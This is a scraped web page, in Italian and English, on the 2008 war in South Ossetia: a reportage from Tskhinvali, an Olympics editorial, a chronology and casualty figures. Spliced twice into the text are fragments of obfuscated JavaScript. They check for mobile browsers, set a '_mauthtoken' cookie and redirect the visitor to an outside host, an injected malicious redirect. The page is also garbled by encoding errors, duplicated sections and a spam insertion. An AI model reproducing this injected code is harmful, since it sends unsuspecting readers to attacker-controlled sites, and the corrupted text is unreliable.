Ossezia, la guerra continua

Riceviamo e volentieri pubblichiamo:

(di Giulietto Chiesa, Megachip – da La Stampa)

Tzkhinval – La strada che scende verso Tzkhinval dal tunnel di Ruk era, nel primo tratto, interamente “ossetina”. Poi, dopo il villaggio di Shava, c’era una discontinuitA? composta di cinque villaggi interamente georgiani. Si chiamavano Kekhvi, Tamarasheni, KurtA?, Achabetti Superiore e Inferiore. Una specie di enclave dentro un’altra enclave. I georgiani avevano scelto Khekvi come capitale alternativa dell’Ossetia del Sud, e vi avevano installato un loro presidente, Sanakoev.
Il passato prossimo A? d’obbligo perchA? adesso quei cinque villaggi non ci sono piA?, e nemmeno Sanakoev, fuggito chissA? dove. Restano, unici intatti, gli edifici bianchi del “governo” di Tbilisi sulle alture.
Dalla macchina che ci porta veloce verso la capitale, quella vera, dell’Ossetia del Sud, si vedono solo rovine annerite dal fumo, macerie di case sventrate, tubature spezzate. Non una sola casa A? rimasta in piedi, come se un tifone tropicale fosse passato sopra queste terre dove fino all’altro ieri abitavano cinquemila persone.
Ma non ci sono tifoni tropicali in Ossetia del Sud. Questi villaggi hanno subito la vendetta degli ossetini. Anche se non ci sono state vittime perchA? gli abitanti non armati, donne, vecchi, bambini, erano stati evacuati di notte, prima dell’attacco georgiano della notte tra il 7 e l’8 agosto.
La gente di Tzkhinval mi spiegherA?, poco dopo, che una delle cause, la piA? immediata, effetto del furore vendicativo degli ossetini, fu proprio questa. “Se ne sono andati di notte, sapevano che saremmo stati attaccati, sapevano che eravamo le vittime designate e non ci hanno avvertito – dice piangendo Olesia Kadzhaeva, una giovanissima madre di due bambini che A? riuscita a scamparla in quelle tre notti tragiche. – Erano nostri vicini, hanno lasciato che ci massacrassero”.
Tra l’ultimo villaggio georgiano e la periferia di Tzkhinval c’A? un chilometro e mezzo. Sembra inpossibile ma una invalicabile frontiera di odio separava quelle comunitA? cosA? vicine da sfiorarsi. Da decenni ormai.E la strada princiale era una trappola per gli ossetini che cercavano di fuggire verso il valico. Una trappola in cui sono morti a decine, e in cui sono morti anche decine di soldati delle colonne russe, prese nell’imboscata, che il 10 agosto avevano cominciato a scendere in soccorso degli ossetini.
Per evitare quella trappola mortale il governo di Tzkhinval aveva costruito una variante, la strada di Zarskoe, dal nome del villaggio principale, che consentiva di uscire dall’accerchiamento attraverso altre valli: due ore di tornanti per sfociare a Zhava e salire al valico sulla cresta.
Chiedo alla gente che mi si affolla intorno: ma se vi eravate accorti che l’attacco si stava preparando perchA? non siete fuggiti? Inna Guchmasova, Maja Zasseeva, altre due giovani madri, spiegano, con affanno e anche con un po’ di acrimonia, all’ospite straniero, che dovrebbe sapere e non sa, come quasi nessuno in occidente: “Certo che sapevamo! E infatti molti di noi a migliaia, sono stati evacuati, tra il 2 e il 7 agosto, in Ossetia del Nord. PerchA? l’offensiva, i primi cannoneggiamenti, erano cominciati allora. Tutti ci aspettavamo un assalto. Ma molti pensavano che fosse una delle solite provocazioni, qualche colpo di cannone, qualche sventagliata di mitragliatrice. Noi viviamo in queste condizioni da diciassette anni”.
“Io ci sono nata in questa guerra – dice Maja – ma non potevamo immaginare una guerra con bombardamenti aerei, e razzi grad che piovevano al ritmo incessante di uno ogni due o tre secondi”. Una donna piA? anziana si fa avanti nel crocchio e, guardandomi diritto negli occhi, mi apostrofa: “Lei ha un’idea di cosa si prova quando ti scoppia vicino un missile grad?”.
SA?, l’ho provato in Cecenia. Ma furono solo i due primi che colpirono il palazzo presidenziale di Dudaev. E mi bastA? per tutta la vita.
Penso ai bambini, a quelli rimasti vivi, che hanno vissuto quel bombardamento. A centinaia sono adesso negli ospedali russi per “dimenticare” ciA? che non dimenticheranno mai piA?.
Qui A? stato un bombardamento di tre giorni interi. Con l’aggiunta di oltre cento tra carri armati e blindati che entrarono in cittA? sparando a alzo zero contro le case, mentre la popolazione stava rintanata nei sottoscala. Alzo gli occhi. Sono nella piazza principale della cittA?. Il palazzo del governo A? un mozzicone annerito. Dietro, completamente sfondato da diversi razzi, il palazzo del parlamento. I vetri di tutte le case della cittA? sono in frantumi; due mesi dopo le finestre sono ancora rappezzate con teli di plastica. Non c’A? abbastanza vetro, per ora. DormirA? in una casa ancora in piedi, con la luce che arriva solo alle sette di sera, con i muri interni crivellati di proiettili di mitra. Dalla strada hanno sparato all’impazzata.
Due giorni in mezzo alle macerie di una cittA? distrutta. Interi quartieri non esistono piA?. Case, giA? povere prima di essere colpite, rivelano le loro nuditA? di intonaci sbrecciati. Ma quello che balza agli occhi A? che i georgiani non hanno solo bombardato la popolazione civile, le case della gente: hanno sparato con i cannoni contro tutti gli edifici pubblici di una qualche importanza. Distrutta l’universitA?, colpiti gli ospedali, incendiata la biblioteca dove un anno prima avevo visto le prove di ballo di decine di ragazzi e ragazze in una pausa della guerra che sembrava lontana. Azzerare era evidentemente l’ordine, eliminare ogni traccia di convivenza civile.
Quanti i morti civili? I russi, per bocca del vice-ministro degli esteri Aleksandr Grushko, dicono 1682. Impossibile verificare, ma la quantitA? delle distruzioni A? immensa. I carri armati georgiani, mi racconta la gente, si muovevano solo nelle vie piA? larghe, per evitare imboscate. E giravano le torrette sparando in tutte le direzioni. Vado a vedere la Prospettiva Alan Dzheov, ex via Lenin, ora dedicata a un martire della guerra di Gamsakhurdia, del 1991. Lunghe serie di case a un piano e mezzo, interamente demolite. La scuola n. 5 la stanno rimettendo in piedi adesso, ma A? stata svemtrata in piA? punti, dall’alto e dal basso. Nel suo cortile l’ex campo di calcio era stato trasformato in cimitero: le vittime, tutti giovani e giovanissimi, avevano studiato in quella scuola. Anche il cimitero A? stato colpito, sfondato, le lapidi di marmo, con le effigi delle decine dei caduti tracciate sul marmo , come quelle dei bambini morti a Beslan, con la tecnica della scultura fotografica, sbrecciate dalle schegge.
La cittA? rivive poco per volta, come A? giA? accaduto nel 1991, guerra di Gamsakhurdia, nel 1993, 2004, con Shevardnadze, e in questi ultimi anni con Saakashvili. L’Occidente, riunito a Bruxelles, raccoglie 4,5 miliardi di dollari di promesse per la “ricostruzione della Georgia”, che andranno a?? sempre che arrivino – tutti a Saakashvili, come premio per l’aggressione a una popolazione allo stremo che non vuole tornare sotto un potere che ha cercato di sterminarla. Una specie di contraddizione in termini per chi, come fa l’Europa, afferma di riconoscere l’integritA? territoriale della Georgia. E allora, magari per insipienza, non ci accorgiamo che con questo comportamento riconosciamo che l’Ossetia del Sud non fa piA? parte della Georgia.
Questa tragedia, oltre che piena di bugie, A? anche piena di paradossi. I russi, come promesso, si sono ritirati all’interno della nuova linea di frontiera. Stanno sulle alture e controllano da lontano. Vado sulla linea di demarcazione, dopo avere chiesto, invano, di parlare, almeno al telefono, con gli osservatori dell’Unione Europea. I miei accompagnatori ossetini mi dicono che hanno un solo numero telefonico dall’altra parte, e che non risponde. E’ domenica mattina. I soldati russi stanno a due chilometri dal confine, nel punto a sud-est della cittA?, sulle alture da cui le truppe georgiane hanno martellato le case e le strade della cittA?, prima di entrarvi l’8 agosto. La strada A? ostruita da blocchi di cemento. Guardo con il binocolo, a lungo, dall’altra parte. A un chilometro si muovono le auto della polizia goergiana.
Dunque le forze armate ossetine si trovano a diretto contatto con quelle georgiane. E di osservatori europei nemmeno l’ombra. Abbiamo preso la responsabilitA? di controllare la zona cuscinetto, noi europei, ma non possiamo farlo con 225 osservatori su una frontiera di decine di chilometri che A? contestata in tutti i punti e che passa in mezzo ai villaggi. Ad ogni momento puA? scoppiare un nuovo scontro. E infatti ogni giorno si spara. Un gruppo di ragazzi di Tzkhinval mi consegna un elenco con i nomi di 11 persone sparite nelle settimane dopo la fine della “guerra dei cinque giorni”. Quasi tutti giovanissimi, prelevati da gruppi armati non identificati che penetrano nel territorio dell’Ossetia del Sud. Vivi, morti, ostaggi, merce di scambio? Per ora silenzio.
Torno nella cittA? che nessuno in occidente, ha chiamato “martire”. C’A? un matrimonio in corso e, poco piA? oltre, il funerale di un giovane, ferito nei primi scontri dell’8 agosto, mentre a Pechino si aprivano le Olimpiadi.
Qui i giovani, nati in questa guerra di sterminio, si sposano prestissimo e fanno subito bambini. Una specie di resistenza “demografica” collettiva. Secondo il censimento dell’URSS del 1989 sul territorio georgiano vivevano 164 mila ossetini. Nel 2002 si erano ridotti a 38 mila. Un genocidio e una pulizia etnica che si sommano insieme, perchA? molti non reggono e fuggono in Ossetia del Nord.
Mi raccontano le gesta eroiche dei loro soldati, che combatterono con i fucili mitragliatori contro i blindati georgiani, costringendoli per tre volte a uscire da Tzkhinval, ancora prima che arrivassero i russi. Gli ossetini si considerano un popolo guerriero. In cittA? si vedono girare i pick-up color grigio-verde catturati ai georgiani in fuga. Mi danno un cd con le fotografie delle distruzioni che gli assalitori hanno scattato con i loro telefonini. Testimonianze dirette del massacro, scattate dai massacratori che pensavano di portarle a casa come trofei e che non sono piA? tornati a casa.
Mi chiedono ansiosi cosa ne penso, mentre salgo sull’auto che mi porterA? a Vladikavkaz, dai “fratelli ossetini” del nord . Penso che questa ultima guerra ha scritto la pagina finale. L’Ossetia del Sud non tornerA? mai piA? sotto il governo georgiano. Quali che siano gli sforzi dell’Europa e degli Stati Uniti per affermare un principio che significherebbe il massacro finale degli ossetini. Fino a quel fatidico 8 agosto restava l’incertezza. Oggi la Russia, riconoscendo la sovranitA? di Tzkhinval, l’ha sciolta.
Questo il preludio lacerante di una storia di sangue che non A? ancora finita.

Giulietto Chiesa |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=”16=1; 4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

The conflict in Georgia

What flame?

Along with the Olympic flame, the flame of war turns on.
Just as 10,000 athletes from all over the world and a hundred chiefs of State and political personalities attended the opnening ceremony of the Olympics in Beijing, the first bombs were reaping the first victims in this Russian-Georgian a??blitzkriega??.
Besides any political remark as to the conflict and its reasons, we would like to focus on the enormity of what happened during the last week; while bombs fell on villages and cities, while tanks occupied roads and valleys, while soldiers shot each other in the streets, the TV news were suspended in order to show the fencing semi-finals, the swimming heats, the football matches.
The Olympics have always been the symbol of the union between nations, the symbol of peace; this year the Games have been soiled, maybe once and for all. the Olympic spirit was drowned in blood a?? the Tibetan blood that we are mediatically accustomed to, to the Georgian and Ossetian blood that noone has been able to give importance to.
The Olympics go on, the nations unite to front each other in the millenary competition of sports… the war is over, the conflict has been put down, 100,000 are the refugees who will not sleep under a roof tonight, but who cares?
You will excuse us but we have to cut off, we give the line to the greco-roman wrestling semi-finals…

Roberto Forte

Chronology in short

These are the main events in the conflict between Georgia and South Ossetia. [Source: AGI]
1991-1992 a?? South Ossetia fights for independence from Georgia, and a popular referendum proclaims it as an independent republic. Russia imposes a truce.
2004 – Mikhail Saakashvili, new president of Georgia, promises to take back control on the rebel region.
2006 a?? The South Ossetians proclaim independence again with a second referendum, not recognized by the international community.
April 2008 a?? Russia intensifies its diplomatic relationships with Abkhazia and South Ossetia.
July 2008 a?? Russia admits its aircrafts have entered the Georgian space in South Ossetia. Russia and Georgia raise reciprocal accusations of intensifying military operations.

August 7th 2008 a?? After an escalation of shootouts between Georgians and Ossetians, the two parties agree on a ceasefire.
August 8th 2008 a?? Heavy fights during the night. The Georgian troops approach the Ossetian capital, Tskhinvali.
August 9th 2008 a?? While the shooutouts continue, there begins the tragedy of the refugees moving toward Russia. Georgia declares the state of war. The Russian aviation starts bombing the Georgian territory; the Abkhazian separatists open a second front.
August 10th 2008 a?? Russian units occupy Tshinkvali, the capital of South Ossetia; the fleet blocks Georgian seaports; the air strikes on Georgian territory continue, hitting also the Tbilisi airport and, according to the Georgian government, civilian objectives.
August 11th 2008 a?? Russian troops impose an ultimatum to the Georgian forces in Zugdidi, at the border between Georgia and Abkhazia, imposing to lay arms down and posing threats of reprisals; in the afternoon, some local police stations are attacked and briefly occupied by Russian soldiers. The Georgian air force bombs Tshinkvali. In the evening, Saakashvili proclaims the unilateral ceasefire. The Russians continue with their a??counterattacka??, occupying Poti.
August 12th 2008 a?? Gori, a Georgian city near the border to South Ossetia, is bombed again. A short time later, Medvedev announces the end of hostilities.

The estimates of victims and refugees

Human Rights Watch expressed strong worries for the huge differences in the estimates of victims, injured and refugees. According to the Russians, the war in South Ossetia caused 1,600 civilians deaths so far, and 15 dead and 70 injured in the interposition forces. These figures were given by the speaker of the Ministry of External Affairs during a press conference. The estimate is lower than the initial one, while according to other sources the victims would be as many as 2,000.
The Georgian president, Mikhail Saakashvili, declared today that 90% of the Georgian victims were civilians. In a former declaration, Georgia had claimed the 80% of casualties were military. Government sources yesterday talked about 130 deaths and 1,165 injured between military and civilians, most of which victims of the Russian bombings in Georgia. Russia has excluded that civilians have been hit.
The refugees who crossed the Russian border are about 30,000; 16,000 of them received humanitarian aid. This estimate comes from the Russian Ministry of Interior. (AGI) a?? Moscow, Aug 11.

From our partners

News about the conflict in South Ossetia from our local partners:
August 11th
Numerous sites within the conflict zones have been hit by heavy fighting. Tskhinvali in South Ossetia has been completely destroyed resulting in heavy refugee flows to North Ossetia.
More worryingly – from a Georgian perspective – aerial bombardment has spread to cities within Georgia proper. Gori, Poti, Senaki, Zugdidi and even Tbilisi have been hit by Russian air strikes.
According to the Ministry of Health of Georgia more than 100 civilians have died in all cities as a result of the bombing. More than 300 civilians have been injured, among them women and children.
The chaos has led to civilians in Poti, Zugdidi, Gori and Kodori Gorge being evacuated. The Georgian government estimates that as many as 10,000 people have fled their homes to Tbilisi.
[Source: Eka Gvalia]
August 10th
The situation is very bad, Russians are bombing civil blocks and civil people a?? even heavier casualties among Georgian troops, as far as I know yesterday 1,400 Georgian troops were killed, and today over 500.
Yesterday and today they bombed big cities, many people are running to the villages.
Russian planes have directives to bomb civil objectives, today they are attacking Georgia from 3 sides. Also, they blocked the sea ports in order to prevent humanitarian actions. From one side they are attacking with 10,000 troops and 300 tanks. They are bombing even now…
[Source: Zaza Akhvlediani]

Scenario

Of course you have seen the reports in the international media that on the 6thA?of August the conflict in South Ossetia tragically re-escalated and may now be spiralling out of control.
As you know since 1989 and 1992 Georgia has become a site of conflict in the region and since has been unable to resolve this problem. To this day 260,000 IDPs from these conflicts still reside within Georgia. In the last 18 years there were systematic violations of human rights and international humanitarian norms in the above mentioned conflict regions, however most of these violations were localised to the Gali and Tskhinvali areas.
[Source: Eka Gvalia]

Resources

A blog on the conflict by a Georgian girl living in Germany: http://russiangeorgianwar.blogspot.com/
A news report by The Telegraph: http://www.telegraph.co.uk/news/worldnews/europe/georgia/2535881/Georgia-Gori-evacuated-as-fears-of-Russian-advance-into-Georgia-grow.html
An analysis by Limes online (in Italian): http://temi.repubblica.it/limes/georgia-chiama-europa-e-la-russia-attacca/)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=”16=1; 4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Il conflitto in Georgia

Quale fiamma?

Insieme alla fiamma olimpica si accende la fiamma della guerra.
Proprio mentre 10.000 atleti da tutto il mondo e un centinaio di capi di stato e personalitA? politiche mondiali assistevano alla cerimonia d’apertura delle olimpiadi di Pechino, le prime bombe mietevano le prime vittime di questa guerra “lampo” Russo-Georgiana.
Al di la di ogni considerazione politica sul merito del conflitto e sulle sue ragioni, ci vogliamo soffermare sull’enormitA? di quello che A? accaduto in questa settimana; mentre le bombe cadevano su villaggi e cittA?, mentre i carri armati occupano strade e valli, mentre militari si sparavano per le strade, i telegiornali italiani si interrompevano per far vedere le semifinali di scherma, le batterie di qualificazione del nuoto, le partite di calcio.
Le Olimpiadi da sempre sono il simbolo dell’unione dei popoli, da sempre il simbolo di pace; quest’anno sono state infangate, forse definitivamente. Lo spirito olimpico A? affogato nel sangue, nel sangue tibetano a cui ormai tutti ci siamo mediaticamente assuefatti, al sangue georgiano e osseto al quale nessuno A? riuscito a dare importanza.
Le Olimpiadi vanno avanti, i popoli si uniscono per combattere l’ormai millenaria competizione sportiva… la guerra A? finita, il conflitto A? sedato, 100.000 sono le persone sfollate che stasera non dormiranno sotto un tetto, ma questo a chi interessa?
Scusate ma ci dobbiamo interrompere, passiamo la linea alle semifinali di lotta greco-romana…

Roberto Forte

Cronologia in breve

Queste le principali tappe del conflitto tra Georgia e Ossezia del Sud. [Fonte: viamedic hr AGI].
1991-1992 – L’Ossezia del Sud combatte per la propria indipendenza dalla Georgia e si autoproclama repubblica indipendente con un referendum popolare. La Russia impone la tregua.
2004 – Mikhail Saakashvili, neo eletto presidente della Georgia promette di riprendere il controllo sulla regione ribelle.
2006 – I sudosseti proclamano l’indipendenza con un secondo referendum non riconosciuto dalla comunita’ internazionale
Aprile 2008 – La Russia intensifica le sue relazioni diplomatiche con l’Abkhazia e l’Ossezia del Sud.
Luglio 2008 – La Russia riconosce che i suoi jet sono entrati nello spazio aereo georgiano dell’Ossezia del Sud. Russia e Georgia si accusano reciprocamente di intensificare operazioni di guerra.

7 agosto 2008 – Dopo l’escalation di scontri tra georgiani e osseti, le due parti concordano per un cessate il fuoco.
8 agosto 2008 – Nella notte esplodono violenti scontri. Le truppe georgiane si avvicinano alla capitale osseta Tskhinvali.
9 agosto 2008 – Mentre gli scontri continuano, inizia il dramma degli sfollati che si dirigono verso la Russia. La Georgia proclama lo stato di guerra. L’aviazione russa inizia a bombardare in territorio georgiano; i separatisti abkhasi aprono un secondo fronte.
10 agosto 2008 – UnitA? russe occupano Tshinkvali, capoluogo dell’Ossezia del Sud; la flotta blocca i porti della Georgia; l’aviazione continua a bombardare in territorio georgiano, colpendo anche l’aeroporto di Tblisi e, secondo il governo di Saakashvili, anche obiettivi civili.
